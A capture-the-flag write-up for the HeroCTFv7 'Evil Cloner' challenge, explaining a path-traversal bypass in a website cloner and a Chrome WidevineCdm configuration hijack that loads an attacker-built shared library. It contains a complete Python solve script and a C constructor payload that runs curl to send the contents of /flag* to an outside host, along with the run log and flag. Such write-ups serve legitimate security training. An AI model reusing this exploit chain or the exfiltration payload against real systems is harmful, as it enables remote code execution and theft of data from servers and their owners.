keyboard_arrow_up

title: HeroCTFv7 - Evil Cloner
date: Nov 30, 2025
tags: writeups heroctf


HeroCTFv7 - Evil Cloner

Description

My website just got cloned :(( could you help me removing the data from this remote evil server ? :(

Deploy an instance at https://deploy.heroctf.fr/.

Solves

7/819

TL;DR

Use a path traversal to write a specific chrome configuration file to load a controlled .so and gain RCE.

Write Up

The clone functionality can be used on the website, allowing you to clone an entire website and download a zip file containing the cloned website's source code. The cloner is homemade; the code can be found in the file challenge/src/services/cloner.js. There is quite a lot of code in it, and the sanitization appears to be good:

//In file challenge/src/services/cloner.js
async function downloadToFile(resourceUrl, destPath, controller) {
  //[...]
  let finalPath = destPath;
  const headerName = filenameFromHeaders(res.headers);
  if (headerName) {
    finalPath = path.dirname(destPath)+"/"+headerName;
  }
  if(finalPath.includes("..")) {
    return false;
  }
  //[...]
}

The code here seems to check if the original filename or the filename sent via headers contains malicious elements such as .. to avoid path traversal vulnerabilities. However, if we take a look at the code after this check:

//In file challenge/src/services/cloner.js
async function downloadToFile(resourceUrl, destPath, controller) {
  //[...]
  const buf = Buffer.from(await res.arrayBuffer());
  finalPath = new URLParse(finalPath).pathname;
  if(finalPath == false) {
    return false;
  }
  await fs.writeFile(finalPath, buf);
  return true;
}

Here, we can see that finalPath is extracted from the pathname property of the result of URLParse, to prevent path traversal again if the previous check was not enough. However, this library makes some replacements on the filename pathname, for example:

var test = new URLParse(".\t./.\t./");
console.log(test.pathname);
// ../../

This library removes bad characters from the pathname before returning it, allowing us to bypass the previous check and gain a path traversal vulnerability using the Content-Disposition header!

Looking at the docker-compose.yml file, we can observe a few things:

services:
  app:
    build: ./challenge
    ports:
      - "3000:3000"
    environment:
      - DB_HOST=db
      - DB_PORT=3306
      - DB_USER=evilcloner_user
      - DB_PASSWORD=evilcloner_password
      - DB_NAME=evilcloner_db
    depends_on:
      db:
        condition: service_healthy
    restart: unless-stopped
    read_only: true
    tmpfs:
      - /tmp:mode=1733,exec
      - /usr/app/data:mode=1733
# other database service but not relevant for this challenge

The Docker container is launched as read-only, but the /tmp/ folder as well as the /usr/app/data folder can be written to. This means that the path traversal will not be usable on the NodeJS app because permission will be denied.

The only way now is to abuse a feature of the Chrome browser to gain Remote Code Execution. Let's take a closer look at the bot source code (the one used in the first step):

//In file src/services/bot.js#L22
const browser = await puppeteer.launch({
    headless: 'new',
executablePath: "/usr/bin/google-chrome",
args,
ignoreDefaultArgs: ["--disable-client-side-phishing-detection", "--disable-component-update", "--force-color-profile=srgb"]
});

We can observe that a few parameters are removed from the basic Puppeteer command line:

Two of them are useless and are here just to disguise the real one. The interesting one here is --disable-component-update. Without this flag, components such as WidevineCDM will be available in the Chrome browser, which may seem a bit useless at first but this is my way to gain RCE (maybe there are others).

Just one more thing: if we look at the register code, we can see that the application is creating, for each user, a Chrome data directory to be reused between calls to the bot, and this will be useful for the exploit.

In fact, without this flag there are two more folders in Chrome's user data directory:

Let's ignore ZxcvbnData and focus on the WidevineCdm folder, which contains one JSON file named latest-component-updated-widevine-cdm:

{
    "LastBundledVersion":"4.10.2891.0",
    "Path":"/opt/google/chrome/WidevineCdm"
}

This seems to be a configuration file pointing to a folder containing other configuration information:

/opt/google/chrome/WidevineCdm> ls
LICENSE  _platform_specific  manifest.json

The manifest.json file contains the following information:

{
  "manifest_version": 2,
  "update_url": "https://clients2.google.com/service/update2/crx",
  "name": "WidevineCdm",
  "description": "Widevine Content Decryption Module",
  "version": "4.10.2891.0",
  "minimum_chrome_version": "68.0.3430.0",
  "x-cdm-module-versions": "4",
  "x-cdm-interface-versions": "10",
  "x-cdm-host-versions": "10",
  "x-cdm-codecs": "vp8,vp09,avc1,av01",
  "x-cdm-persistent-license-support": false,
  "x-cdm-supported-encryption-schemes": [
    "cenc",
    "cbcs"
  ],
  "icons": {
    "16": "imgs/icon-128x128.png",
    "128": "imgs/icon-128x128.png"
  },
  "platforms": [
    {
      "os": "linux",
      "arch": "x64",
      "sub_package_path": "_platform_specific/linux_x64/"
    },
    {
      "os": "linux",
      "arch": "arm64",
      "sub_package_path": "_platform_specific/linux_arm64/"
    }
  ]
}

It seems to indicate (again) a path to a folder:

/opt/google/chrome/WidevineCdm/_platform_specific/linux_x64> ls
libwidevinecdm.so

All of this allows Chrome to load this shared library at startup to expose WidevineCDM APIs. The first file, latest-component-updated-widevine-cdm, pointing to the configuration folder seems very interesting to overwrite, and we can, because Chrome user's data directories are saved in /tmp/, which is a tmpfs and writable (even if the docker is read-only!).

I will not expose my research here, but tl;dr:

Looking at the bot reveals that the HOME variable is set to /tmp/, so we meet all the conditions here. The exploit chain is the following:

Using the solve script on my local instance:

python3 solve.py http://localhost:3000 http://192.168.1.13:5000 192.168.1.13:5000
[EXPLOIT] - Register with creds a3e63aa0-bc9b-11f0-a18b-f4267968ed86:a3e63aa0-bc9b-11f0-a18b-f4267968ed86
[EXPLOIT] - Login with creds a3e63aa0-bc9b-11f0-a18b-f4267968ed86:a3e63aa0-bc9b-11f0-a18b-f4267968ed86
[EXPLOIT] - Account information:
{'id': 2, 'username': 'a3e63aa0-bc9b-11f0-a18b-f4267968ed86', 'data_dir': 'c143o8xo', 'clone_dir': '/tmp/clone_files/9d5j4m8m'}
[EXPLOIT] - Calling bot for datadir to initialize
[EXPLOIT] - Starting flask server as deamon with payload {"LastBundledVersion":"4.10.2891.0","Path":"/tmp/clone_files/9d5j4m8m/192.168.1.13:5000/"} and chrome_datadir: c143o8xo
[EXPLOIT] - Sleeping to be sure flask has started
 * Serving Flask app 'solve'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:5000
 * Running on http://192.168.1.13:5000
Press CTRL+C to quit
[EXPLOIT] - Compiling following code:
#include <stdlib.h>

__attribute__((constructor))
void pwn() {
    system("/bin/bash -c 'curl http://192.168.1.13:5000/flag --data \"flag=$(cat /flag*)\"'");
}

[EXPLOIT] - Sending URL of payload to challenge
192.168.32.3 - - [08/Nov/2025 13:08:36] "GET / HTTP/1.1" 200 -
192.168.32.3 - - [08/Nov/2025 13:08:36] "GET /image.png HTTP/1.1" 200 -
192.168.32.3 - - [08/Nov/2025 13:08:36] "GET /_platform_specific/linux_x64/libwidevinecdm.so HTTP/1.1" 200 -
192.168.32.3 - - [08/Nov/2025 13:08:36] "GET /image3.png HTTP/1.1" 200 -
[EXPLOIT] - Sleeping to be sure path traversal has worked
[EXPLOIT] - Starting chrome on remote to trigger .so file
[EXPLOIT] Got the flag : Hero{2f510d29776569e7d485248e528b62d3}
192.168.32.3 - - [08/Nov/2025 13:08:41] "POST /flag HTTP/1.1" 200 -
[EXPLOIT] Got the flag : Hero{2f510d29776569e7d485248e528b62d3}
192.168.32.3 - - [08/Nov/2025 13:08:41] "POST /flag HTTP/1.1" 200 -
[EXPLOIT] - Sleeping to be sure flag has been received
[EXPLOIT] - Exploit triggered ! You should have received the flag !
[EXPLOIT] - Cleaning files

Flag

Hero{2f510d29776569e7d485248e528b62d3}

Solving script

import io
import re
import os
import sys
import uuid
import time
import base64
import requests
from threading import Thread
from flask import Flask, send_file, request

if len(sys.argv) != 4:
  print("Usage: python3 solve.py <chall addr> <evil website full URL> <evil website hostname with port>\nExample: python3 solve.py http://localhost:3000 http://192.168.1.2:3000 192.168.1.2:3000")
  sys.exit(-1)

def start_flask_server(json_file, chrome_datadir, code_manifest):
  app = Flask(__name__)

  @app.get("/")
  def index():
      return f"""
  <!doctype html>
  <html lang="fr">
    <head>
      <meta charset="utf-8" />
    </head>
    <body>
      <h1>Exploit</h1>
      <img src='/image.png'></img>
      <img src='/_platform_specific/linux_x64/libwidevinecdm.so'></img>
      <img src='/image3.png'></img>
    </body>
  </html>
  """

  @app.get("/image.png")
  def file():
      data = json_file.encode()
      return send_file(
          io.BytesIO(data),
          mimetype="application/javascript",
          as_attachment=True,
          download_name=".\t./"*10+f"/tmp/profiles/{chrome_datadir}/WidevineCdm/latest-component-updated-widevine-cdm",
          max_age=0,
      )

  @app.get("/_platform_specific/linux_x64/libwidevinecdm.so")
  def file2():
      data = open("libwidevinecdm.so","rb").read()
      return send_file(
          io.BytesIO(data),
          mimetype="application/javascript",
          as_attachment=True,
          download_name="libwidevinecdm.so",
          max_age=0,
      )

  @app.get("/image3.png")
  def file3():
      data = code_manifest.encode()
      return send_file(
          io.BytesIO(data),
          mimetype="application/javascript",
          as_attachment=True,
          download_name="manifest.json",
          max_age=0,
      )

  @app.post("/flag")
  def flag():
      print("[EXPLOIT] Got the flag : "+request.form.get("flag"), flush=True)
      return "thanks for this"

  if __name__ == "__main__":
      app.run(host="0.0.0.0", port=5000)

CHALL_URL = sys.argv[1]
SERVER_FULL_URL = sys.argv[2]
SERVER_HOST = sys.argv[3]
session = requests.Session()
username = str(uuid.uuid1())
password = username #user as pass :)

#register
print(f"[EXPLOIT] - Register with creds {username}:{password}")
session.post(f"{CHALL_URL}/register", data={"username":username,"password":password})

#login
print(f"[EXPLOIT] - Login with creds {username}:{password}")
session.post(f"{CHALL_URL}/login", data={"username":username,"password":password})

#recover session id for SQLi payload and after
account_infos = session.get(f"{CHALL_URL}/me").json()
print("[EXPLOIT] - Account information:")
print(account_infos)

print("[EXPLOIT] - Calling bot for datadir to initialize")
session.post(f"{CHALL_URL}/clone/check", data={"url":"https://www.google.com"})

#starting flask server and sending payload
json_file = f'{{"LastBundledVersion":"4.10.2891.0","Path":"{account_infos['clone_dir']}/{SERVER_HOST}/"}}'
code_manifest = f"""{{
  "manifest_version": 2,
  "update_url": "https://clients2.google.com/service/update2/crx",
  "name": "WidevineCdm",
  "description": "Widevine Content Decryption Module",
  "version": "4.10.2891.0",
  "minimum_chrome_version": "68.0.3430.0",
  "x-cdm-module-versions": "4",
  "x-cdm-interface-versions": "10",
  "x-cdm-host-versions": "10",
  "x-cdm-codecs": "vp8,vp09,avc1,av01",
  "x-cdm-persistent-license-support": false,
  "x-cdm-supported-encryption-schemes": [
    "cenc",
    "cbcs"
  ],
  "icons": {{
    "16": "imgs/icon-128x128.png",
    "128": "imgs/icon-128x128.png"
  }},
  "platforms": [
    {{
      "os": "linux",
      "arch": "x64",
      "sub_package_path": "_platform_specific/linux_x64/"
    }},
    {{
      "os": "linux",
      "arch": "arm64",
      "sub_package_path": "_platform_specific/linux_arm64/"
    }}
  ]
}}"""
print(f"[EXPLOIT] - Starting flask server as deamon with payload {json_file} and chrome_datadir: {account_infos['data_dir']}")
t_webserv = Thread(target=start_flask_server, args=(json_file, account_infos['data_dir'], code_manifest, ), daemon=True)
t_webserv.start()

print("[EXPLOIT] - Sleeping to be sure flask has started")
time.sleep(5)

code_libso = f"""#include <stdlib.h>

__attribute__((constructor))
void pwn() {{
    system("/bin/bash -c 'curl {sys.argv[2]}/flag --data \\"flag=$(cat /flag*)\\"'");
}}
"""

print("[EXPLOIT] - Compiling following code:")
print(code_libso)
f = open("libwidevinecdm.c","w")
f.write(code_libso)
f.close()
os.system("gcc -shared -o libwidevinecdm.so libwidevinecdm.c")

print("[EXPLOIT] - Sending URL of payload to challenge")
session.post(f"{CHALL_URL}/clone/run", data={"url":sys.argv[2]})

print("[EXPLOIT] - Sleeping to be sure path traversal has worked")
time.sleep(5)

print("[EXPLOIT] - Starting chrome on remote to trigger .so file")
session.post(f"{CHALL_URL}/clone/check", data={"url":"https://www.google.com"})

print("[EXPLOIT] - Sleeping to be sure flag has been received")
time.sleep(5)

print("[EXPLOIT] - Exploit triggered ! You should have received the flag !")

print("[EXPLOIT] - Cleaning files")
os.remove("libwidevinecdm.c")
os.remove("libwidevinecdm.so")